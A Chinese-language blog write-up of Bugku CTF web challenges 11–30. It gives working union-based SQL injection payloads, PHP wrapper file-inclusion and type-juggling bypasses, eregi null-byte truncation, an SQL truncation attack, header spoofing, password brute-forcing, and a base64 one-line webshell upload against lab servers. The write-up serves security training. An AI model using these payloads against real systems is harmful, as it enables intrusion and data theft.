bugku web11-30

bugku web11-30

二月 21, 2021

web11-网站被黑了,黑客会不会留下后门

  • 解法一:御剑

在下面可以选择扫描线程以及扫描超时间,还有文件类型等

1

  • 解法二:burp的Dashboard模块

主要分为三块:

Tasks:任务

Event log:事件日志

issue activity:动态发现的问题

Tasks 中自带了两个模版,相当于以前版本的spider 和scanner 模块的结合体,支持自定义创建。

  1. live passive crawl from proxy(all traffic) #(来自代理(所有流量)的被动抓取)

  2. live audit from proxy(all traffic) # (来自代理(所有流量)的实时审计)

Event log:这个主要是burpsuite 出现问题或异常状况查看日志用,平时一般用不到。

issue activity:动态发现的问题

Dashboard模块内容参考:https://blog.51cto.com/010bjsoft/2175177

2

3

  • 最后找到shell.php,发现需要密码才能访问,burp抓包爆破密码,使用burp自带密码字典,得到密码为hack:

4

5

web12-本地管理员

​ 一开始看到登录界面是想到输入之后进行抓包爆破,同时爆破账号密码的时候又觉得这个过程好像有点漫长,就去看了一下源码,一开始看到那个注释里的base64字样还没在意,后来翻看了一下评论里的做法,还要伪造IP,联系了一下题目本地管理员,那就是伪造XFF了,然后就代理关了,尝试登陆,随便输入后登陆,发现IP被禁止访问:

6

那么就和题目本地管理员联系上了,伪造XFF为自身IP进行访问。

将源码里的base64字样进行解码,得到 test123,盲猜应该是密码,随便输入用户名和这个密码,抓包伪造IP进行用户名的爆破,这里是必须先在proxy模块伪造了IP后才能进行爆破,否则的话得不到用户名,得到admin

7

输入用户名和密码,伪造IP,得到flag。

8

web13-看看源代码?

9

采用url解码之后根据eval函数的提示,将URL解码得到的三个字符串拼接得到的假flag提交得到真flag。

10

web14

11

  1. 点击查看:

12

  1. 发现URL处存在参数?file=show.php,且flag可能存在于index.php里,想到文件包含漏洞以及解题常用的PHP伪协议:

13

  1. php://input 被过滤,考虑php://filter协议:

14

  1. 进行base64的解码得到flag:

15

web15-好像需要密码

进行burp抓包,五位纯数字的密码爆破。

16

web16-备份是个好习惯

​ 一看备份嘛就猜测是.bak index.php.bak,输入发现可以下载到备份文件,打开查看代码,md5的弱比较,采用md5缺陷绕过,构造数组,也可以采用0e开头的md5相同的两组值,这里采用数组绕过,还要注意的就是代码中对key进行了过滤,考虑双写绕过:kkeyey 或者kekeyy的形式都可以,构造时一定记得是kkeyey1[]和kkeyey2[],不然就会像我一开始一样在想,这构造挺对的吧,咋没结果呢,哦~忘记1和2了。(这种错误我也真的是)

评论里的做法有的使用御剑进行扫描的,这个过程有点漫长,还在等待ing。所以就盲猜了一下下。

17

web17

  1. 进入页面:

18

​ 得到一个成绩查询单,分别查询1,2,3都能回显正常,输入4没有回显,尝试在1后输入’分号,没有回显,再输入#,回显正常,判断为SQL注入,字符类型。

  1. 查看源码,post方式提交表单,参数变量为id。

也可以通过bp抓包得知。

19

  1. 进行order by 判断字段数为4,union select 得到回显位为2,3,4.进行爆破数据库,表名,字段名,字段内容,得到flag。
  • 爆数据库名:id=0’ union select 1,2,3,database()#

得到数据库名为:skctf

  • 爆表名:id=0’ union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=’skctf’#

得到表名有:fl4g,sc

  • 爆字段名:id=0’ union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name=’fl4g’#

得到字段名:skctf_flag

  • 爆字段内容:id=0’ union select 1,2,3,select skctf_flag from fl4g#

20

web18-秋名山车神

多次刷新得到post提交的变量 value,而且每次要提交计算的表达式是会变化的:

21

使用脚本运行:(网上的wp里的脚本)得到flag。

1
2
3
4
5
6
7
8
9
10
11
import requests //引入request库
import re //引入re库

url = '''http://114.67.246.176:11510/'''
s = requests.session() //用session会话保持表达式是同一个
retuen = s.get(url)
equation = re.search(r'(\d+[+\-*])+(\d+)', retuen.text).group()

result = eval(equation) //eval() 函数用来执行一个字符串表达式,并返回表达式的值。
key = {'value':result}
print(s.post(url, data = key).text)

这个脚本重点还是第7行的正则,解释下

  • re.search()表示从文本的第一个字符匹配到最后一个,其第一个参数为正则表达式,第二个参数是要匹配的文本
  • r’’表示内容为原生字符串,防止被转义
  • (\d+[+-])+(\d+):\d+ 表示匹配一个或多个数字;[+-] 表示匹配一个加号或一个减号或一个乘号(注:减号在中括号内是特殊字符,要用反斜杠转义);所以 (\d+[+-*])+ 表示匹配多个数字和运算符组成的“表达式”;最后再加上一组数字 (\d+) 即可
  • group()返回字符串

​ 原文传送门:https://blog.csdn.net/weixin_43578492/article/details/101701339

web19-速度要快

​ 一开始是查看了一下源码发现需要用post方式上传margin变量,在消息头中发现一段base64加密的flag。双重解码后传值给margin进行上传,发现:

22

查看wp发现其实flag是动态的,每次刷新网页都会变化,所以就用脚本进行获取flag。(脚本还是先收集下来吧.)

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import base64

url= "http://120.24.86.145:8002/web6/"
s = requests.Session()
headers = s.get(url).headers #获得消息头

str1 = base64.b64decode(headers['flag']) #解密消息头键名flag的键值
str2 = base64.b64decode(repr(str1).split(':')[1]) #解密str1中flag:后的值

key = {'margin':str2} #创建一个字典类型用于传参
flag = s.post(url,data=key) #post方法传上去

print(flag.text)

web20-cookie欺骗

url处有一个是“a2V5cy50eHQ=”base64解码后是“keys.txt”,line的功能是行数,这时就想看看index.php(base64后为aW5kZXgucGhwCg==)

然后给file参数1,2,3……发现出现了代码。使用脚本来收集代码:

1
2
3
4
5
import requests
for i in range(20):
url="http://114.67.246.176:14549/index.php?line={}&filename=aW5kZXgucGhw".format(i)
ht=requests.get(url)
print(ht.text)

得到源码:

23

代码审计发现只要访问key.php并且需要在http请求中,传递一个Cookies,内容为margin的键值对。

使用脚本就能跑出flag。

1
2
3
4
5
6
7
8
9
10
import requests
def fun(num):
session = requests.Session()
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0","Connection":"keep-alive","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate"}
cookies = {"PHPSESSID":"ldo37io8vtliadt76v2bv8mf43","margin":"margin"}
paramsGet = {"line":num,"filename":"a2V5cy5waHA="} //keys.php的base64密文
response = session.get("http://114.67.246.176:17939/index.php", params=paramsGet, headers=headers, cookies=cookies)
print(response.text)
for i in range(0,30):
fun(i)

web21

24

  • 查看源码发现有一个1p.html:

25

  • 直接访问的话会跳转到bugku论坛的主页,所以在此进行burp抓包后再进行1p.html的访问:

得到一大段URL编码

26

  • 在此要进行三重解码:

URL解码——>base64解码——>URL解码

得到一段重要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}


?>
  • 进行代码审计:

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

语法:

27

  • 相关函数:

strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)

strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

substr() 函数返回字符串的一部分。

语法:substr(string,start,length)

​ eregi():eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。eregi()可以特别有用的检查有效性字符串,如密码。 

可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。

如果匹配成功返回true,否则,则返回false。

ereg() 有区分大小写,eregi()本函数与大小写无关。

eregi有两个漏洞:

①%00截断及遇到%00则默认为字符串的结束

②当参数a为数组时它的返回值是FALSE,可以绕过ereg(‘^[0-9]+$’,$a)===substr($a,42)

  • 第 1 行:限制 URL 查询字符串中必须有非空非零变量 id

  • 第 9 行:限制变量 $a 中不能含有字符 点(.)

  • 第 15 行:要满足以下 5 条表达式才会爆 flag:

    • 变量 $data 弱等于字符串 bugku is a nice plateform!
    • 变量 $id 弱等于整型数 0
    • 变量 $b 的长度大于 5
    • 字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配,变量 $b 的第一个字符弱不等于整型数 4

只有满足上述条件构造出来的payload才符合要求。

  1. 要求id为非空非零且弱类型比较等于0,那么该变量只能为为空非零字符串。这里假设$id=“asd”

    有关 PHP 类型比较的详情可参考:PHP 类型比较表

  2. 关于data参数的弱类型,源码中变量 $data 是由 file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值必须为数据流。

由此考虑PHP伪协议的构造。

这里用伪协议 php:// 来访问输入输出的数据流,其中 php://input 可以访问原始请求数据中的只读流。这里令 $a = “php://input”,并在请求主体中提交字符串 bugku is a nice plateform! 。

  1. 源码中待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由 “111” 连接 b 的 第 一 个 字 符 组 成 ,利用eregi()函数的00截断漏洞,我们将变量b的第一个字符设为%00,设$b=%0012345, 由此%00后面内容被截断,满足 “1114” 与 “111” 匹配。

构造payload如下:

28

参考原文:https://blog.csdn.net/qq_41333578/article/details/92759619

web24

  • 查看一下源码发现链接处指向code.txt,进行访问:

29

  • 得到简单的php代码,进行代码审计:

30

  • v1和v2使用md5的弱比较,进行md5缺陷绕过,构造数组:v1[]=1&v2[]=2
1
2
3
4
5
if(!strcmp($v3, $flag)){

echo $flag;

}

strcmp()用于比较两个字符串是否相等,这里表示如果不相等即strcmp($v3, $flag)返回的是0,那么当它为非0的时候就输出flag。

  • 使用strmap()函数漏洞:strcmp()在比较字符串和数组的时候直接返回0,这样通过把目标变量设置成数组就可以绕过该函数的限制。

strcmp绕过:

将v3构造成数组。

strcmp(array,string)=null=0

v3[]=blag

构造payload:

1
?v1[]=1&v2[]=2&v3[]=blag

31

we25-SQL约束攻击

32

基础知识:基于约束的SQL注入

  1. 数据库字符串比较:在数据库对字符串进行比较时,如果两个字符的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致.

比如这两条语句

select * from admin where username=’vampire’

select *from admin where username=’vampire ‘

他们的查询结果是一致的.

  1. INSERT截断: 这是数据库的另一个特性,当设计一字段时,我们都必须对其设定一个最大长度,比如CHAR(255),VARCHAR(20),但是当长度超过限制的时候,数据库就会将其截断,只保留限定的长度.(注意这里我们为什么需要insert注入:空格之后一定需要再跟一个或多个任意字符,防止程序在检查用户名是否已经存在时匹配到目标用户)

利用:

假设已有一个用户admin ,password

当我们注册新用户admin ’ 123456时

数据就会保存有

admin password

admin 123456

此时,登录admin便可使用admin 123456

解题思路

  • 发现要注册

33

注册完后可以登录,但提示想要获取flag的话需要管理员身份,猜测管理员用户名为admin

  • 重新注册
1
2
3
admin                  1   //空格是为了截断,1是为了与原有的admin不冲突,不会显示已注册的提示,但是保存时则是admin

123456aA
  • 使用admin 1和123456aA登录,得到flag

34

转载自:https://blog.csdn.net/kongzhian/article/details/112030256

web26-google

  • 考察referer的伪造

35

  • Referer的作用是告诉服务器请求是从哪里来的,所以只需要用BP在请求头加个Referer: https://www.google.com

36

xxx二手交易市场

​ 一 开始进入到网站要注册的时候还以为是SQL注入漏洞,也尝试着注册后登陆抓包,但是也没有发现什么存在的注入点。查看了一些wp,是在上传头像照片的时候存在一个文件上传漏洞。

  • 上传头像照片,进行抓包,发现图片是转换成base64上传的,将内容换成一句话木马的base64 编码形式,修改

37

  • 在这里需要采用**** 加引号的形式。

38

  • 在对应位置传入一句话木马,并将文件格式改为php,得到对应路径。

39

  • 把包修改后发出去,将在burp得到的地址在URL处整理一下。

40

  • 连接蚁剑,得到flag。

41